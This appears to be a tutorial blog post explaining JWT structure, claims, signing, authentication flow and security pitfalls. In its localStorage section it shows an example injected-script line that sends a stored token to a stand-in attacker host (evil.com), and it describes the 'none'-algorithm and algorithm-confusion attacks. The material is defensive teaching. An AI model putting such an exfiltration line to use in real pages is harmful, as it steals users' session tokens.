← All posts

JWT Tokens Explained Simply

·11 min read

JWT Tokens Explained Simply

Every web application needs a way to answer a fundamental question: "Who is making this request?" Authentication is the process of verifying a user's identity, and over the years, developers have built many systems to handle it. From simple username and password checks to complex multi-factor authentication flows, the goal is always the same: prove that the person on the other end is who they claim to be.

But authentication is only half the battle. Once a user logs in, the server needs a way to remember that they're authenticated for subsequent requests. This is where tokens come in. Rather than asking users to send their credentials with every single API call, the server issues a token after successful login. The client stores this token and includes it with future requests as proof of identity.

Among the many token formats available, JSON Web Tokens (JWTs) have become the dominant standard for modern web applications and APIs. They're compact, self-contained, and work seamlessly across different services. Let's break down exactly how they work.

What Is a JWT?

A JSON Web Token is a compact, URL-safe string that represents claims between two parties. It consists of three parts separated by dots:

header.payload.signature

Each part is Base64URL-encoded, meaning it can be safely transmitted in URLs, HTTP headers, and HTML forms without any special encoding. Here's what a real JWT looks like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzEyMzQ1Iiwi bmFtZSI6IkphbmUgRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzE2MjM5MDIyLCJleHAiOjE3MTYyNDI2MjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

It looks like gibberish, but each section has a clear purpose. The critical thing to understand is that JWTs are signed, not encrypted. Anyone can decode and read the header and payload. The signature ensures the data hasn't been tampered with, but it does not hide the contents.

The Header

The first part of a JWT is the header, which is a JSON object containing metadata about the token itself. It typically has two fields:

{
  "alg": "HS256",
  "typ": "JWT"
}

The alg field specifies the signing algorithm used to create the signature. The typfield identifies the token type, which is almost always "JWT".

The most common algorithms you'll encounter are:

  • HS256 (HMAC-SHA256) — A symmetric algorithm where the same secret key is used to both sign and verify the token. Simple to implement but requires sharing the secret between services.
  • RS256 (RSA-SHA256) — An asymmetric algorithm using a private key to sign and a public key to verify. Ideal for distributed systems where multiple services need to verify tokens but only the auth server should create them.
  • ES256 (ECDSA-SHA256) — Another asymmetric algorithm based on elliptic curve cryptography. Produces smaller signatures than RS256 while maintaining equivalent security, making it popular for mobile and IoT applications.

The Payload (Claims)

The payload is the heart of the JWT. It contains claims, which are statements about the user and additional metadata. Claims fall into three categories: registered (standard), public, and private. Let's focus on the registered claims defined by the JWT specification (RFC 7519).

iss (Issuer)

The iss claim identifies who issued the token. This is typically the URL of your authentication server. For example:

"iss": "https://auth.example.com"

Validating the issuer on the receiving end prevents tokens from rogue or untrusted auth servers from being accepted.

sub (Subject)

The sub claim identifies the principal that is the subject of the JWT. In most cases, this is the user ID:

"sub": "user_12345"

This value should be unique within the context of the issuer and is the primary identifier your application uses to look up user data.

aud (Audience)

The aud claim identifies the recipients that the JWT is intended for. It can be a single string or an array of strings:

"aud": ["https://api.example.com", "https://dashboard.example.com"]

When a service receives a JWT, it should verify that its own identifier appears in the audience claim. This prevents a token issued for Service A from being reused on Service B.

exp (Expiration Time)

The exp claim sets the expiration time of the token as a Unix timestamp (seconds since January 1, 1970). After this time, the token must be rejected:

"exp": 1716242622

This is arguably the most important claim for security. Without expiration, a stolen token would be valid forever. Most applications set expiration to 15 minutes to 1 hour for access tokens.

iat (Issued At)

The iat claim records when the token was issued, also as a Unix timestamp:

"iat": 1716239022

This is useful for determining the age of a token and for auditing purposes. Some systems also use it to reject tokens that are too old, even if they haven't technically expired.

nbf (Not Before)

The nbf claim specifies the time before which the token must not be accepted. This allows you to issue a token now that only becomes valid at a future time:

"nbf": 1716240000

While less commonly used than exp, it's useful for scheduling access or pre-generating tokens for future events.

jti (JWT ID)

The jti claim provides a unique identifier for the token:

"jti": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"

This is primarily used to prevent token replay attacks. The server can maintain a list of seen jti values and reject any token with a duplicate ID.

Custom Claims

Beyond the registered claims, you can add any custom data your application needs. Common custom claims include roles, permissions, and user metadata:

{
  "sub": "user_12345",
  "name": "Jane Doe",
  "email": "[email protected]",
  "role": "admin",
  "permissions": ["read", "write", "delete"],
  "organization_id": "org_789",
  "iat": 1716239022,
  "exp": 1716242622
}

Be mindful about what you put in custom claims. Since the payload is only encoded (not encrypted), anyone with the token can read these values. Never include passwords, credit card numbers, or other sensitive information.

The Signature

The signature is what makes JWTs trustworthy. It ensures that the token hasn't been modified after it was issued. The signature is created by taking the encoded header, the encoded payload, a secret key, and the algorithm specified in the header:

HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )

With HMAC (symmetric)signing, the same secret key is used to create and verify the signature. Both the token issuer and the token verifier must share the same secret. This works well when a single server both creates and validates tokens, but becomes problematic in distributed architectures where you don't want every service to hold the signing key.

With RSA or ECDSA (asymmetric) signing, the auth server signs tokens with a private key, and any service can verify them using the corresponding public key. The public key can be freely distributed (often via a JWKS endpoint) without compromising security. This is the standard approach for microservices and third-party integrations.

How JWT Authentication Works

Let's walk through the complete authentication flow step by step:

Step 1: Login. The user sends their credentials (username and password) to the authentication endpoint. The server verifies the credentials against its database.

POST /api/login Content-Type: application/json{
  "email": "[email protected]",
  "password": "s3cur3P@ssw0rd"
}

Step 2: Token Issued.If the credentials are valid, the server creates a JWT containing the user's identity and relevant claims, signs it with the secret key, and returns it to the client:

{
  "access_token": "eyJhbGciOiJIUzI1NiIs...",
  "token_type": "Bearer",
  "expires_in": 3600
}

Step 3: Token Sent with Requests. The client stores the token and includes it in the Authorization header of every subsequent request:

GET /api/user/profile
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Step 4: Server Validates.When the server receives a request with a JWT, it decodes the token, verifies the signature using the secret key, checks that the token hasn't expired, validates the issuer and audience claims, and then grants or denies access based on the claims inside.

The key advantage here is that the server doesn't need to query a database to validate the token. All the information it needs is embedded in the JWT itself. This makes JWTs particularly efficient for stateless APIs and microservices architectures.

JWT vs Session Cookies

JWTs and session cookies are the two most common approaches to maintaining authentication state. Understanding the trade-offs helps you choose the right one for your application.

Storage location: Session cookies store a session ID on the client, with the actual session data kept server-side in a database or cache (like Redis). JWTs store all the session data directly in the token on the client side.

Scalability: Sessions require server-side storage, which means you need shared storage (like Redis) across multiple servers. JWTs are stateless and can be verified by any server with the signing key, making horizontal scaling simpler.

Revocation: Sessions can be instantly invalidated by deleting them from the server-side store. JWTs cannot be revoked before their expiration unless you maintain a blocklist, which partially defeats their stateless advantage.

Size: A session cookie typically contains just a small session ID (around 32 bytes). A JWT can be several hundred bytes or more, depending on the claims. This additional size is sent with every request.

Cross-domain: Cookies are bound to a specific domain by default. JWTs can be sent to any domain via the Authorization header, making them better suited for cross-domain APIs and single sign-on scenarios.

CSRF protection: Cookies are automatically sent by browsers, making them vulnerable to Cross-Site Request Forgery attacks (requiring CSRF tokens as a defense). JWTs stored in memory or localStorage are not automatically sent, so CSRF is not a concern, but they face other risks like XSS.

Security Best Practices

JWTs are powerful, but they must be implemented carefully to be secure. Follow these practices to avoid common pitfalls:

Always validate the signature. Never trust a JWT without verifying its signature. This is the entire point of the signing mechanism. Your JWT library should handle this automatically, but make sure signature verification is never disabled.

Check expiration. Always validate the exp claim. Reject tokens that have expired. Allow a small clock skew (typically 30 seconds to 1 minute) to account for time differences between servers.

Use HTTPS everywhere. JWTs are bearer tokens. Anyone who intercepts a JWT can use it. Always transmit tokens over TLS/HTTPS to prevent man-in-the-middle attacks.

Don't store sensitive data in the payload. Remember, the payload is Base64-encoded, not encrypted. Anyone with the token can decode it and read the claims. Never put passwords, social security numbers, credit card details, or other sensitive data in a JWT.

Use short expiration with refresh tokens. Access tokens should have a short lifespan (15 minutes to 1 hour). Use refresh tokens (stored securely as HTTP-only cookies) to obtain new access tokens. This limits the damage window if a token is compromised.

Validate the audience and issuer. Always check the aud and iss claims to ensure the token was intended for your service and was issued by a trusted authority. Skipping these checks opens the door to token confusion attacks.

Use strong signing keys.For HMAC algorithms, use a key that is at least 256 bits (32 bytes) of cryptographically random data. Never use simple strings like "secret" or "password" as your signing key.

Common JWT Mistakes

Even experienced developers make these mistakes. Awareness is the first step toward prevention.

Using the "none" Algorithm

The JWT specification includes a nonealgorithm, which means no signature is applied. Attackers can modify a token, set the algorithm to "none", strip the signature, and some poorly implemented libraries will accept it as valid. Always configure your JWT library to reject tokens with the none algorithm. Explicitly whitelist the algorithms you expect:

// Always specify allowed algorithms explicitly
jwt.verify(token, secret, { algorithms: ['HS256'] });

Storing JWTs in localStorage (XSS Risk)

Storing JWTs in localStorage makes them accessible to any JavaScript running on the page. If your application is vulnerable to Cross-Site Scripting (XSS), an attacker can steal the token with a single line of code:

// An attacker's injected script can do this:
fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt'));

Safer alternatives include storing tokens in HTTP-only cookies (which JavaScript cannot access) or keeping them in memory (a JavaScript variable) and using refresh tokens stored in HTTP-only cookies to obtain new access tokens after page reloads.

Not Validating Claims

Some developers verify the signature but skip claim validation. This means expired tokens, tokens issued for different services, or tokens from untrusted issuers might be accepted. Always validate exp, iss, and aud at minimum.

Setting Extremely Long Expiration

Setting a token to expire in 30 days or never is tempting for convenience but terrible for security. If a token is compromised, the attacker has access for the entire validity period. Since JWTs cannot be easily revoked, a long expiration gives you no way to cut off a stolen token. Keep access tokens short-lived (15 minutes to 1 hour) and use refresh tokens for longer sessions.

Algorithm Confusion Attacks

If your server is configured to accept RS256 tokens (asymmetric), an attacker might craft a token using HS256 (symmetric) and sign it with the public key (which is publicly available). If the server doesn't enforce the expected algorithm, it might verify the token using the public key as an HMAC secret, which would succeed. Always enforce the expected algorithm on the server side and never let the token's header dictate which algorithm to use.

Putting It All Together

Here's a complete example of a decoded JWT to solidify your understanding:

Header:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "key-2024-05-20"
}

Payload:

{
  "iss": "https://auth.example.com",
  "sub": "user_12345",
  "aud": "https://api.example.com",
  "exp": 1716242622,
  "iat": 1716239022,
  "nbf": 1716239022,
  "jti": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "name": "Jane Doe",
  "email": "[email protected]",
  "role": "admin",
  "permissions": ["read", "write", "delete"]
}

When you paste a token like this into a JWT decoder, you can instantly see every claim, check whether the token has expired, and understand exactly what access it grants. Tools that decode JWTs on the client side (without sending the token to any server) are the safest way to inspect tokens during development and debugging.

Conclusion

JWTs are a powerful and flexible standard for authentication and authorization in modern web applications. Their self-contained nature makes them ideal for stateless APIs, microservices, and cross-domain authentication scenarios. However, they come with important security considerations that you must not overlook.

The key takeaways are: always verify signatures, keep tokens short-lived, never store sensitive data in the payload, use HTTPS for all token transmission, and be deliberate about where you store tokens on the client. With these practices in place, JWTs provide a robust and scalable authentication mechanism that works across virtually any platform or language.

Next time you encounter a long Base64-encoded string starting with eyJ, you'll know exactly what you're looking at and how to decode it.

Try it yourself

Use Pastefix's JWT Decoder to instantly analyze and understand your own data — no signup required.

Open JWT Decoder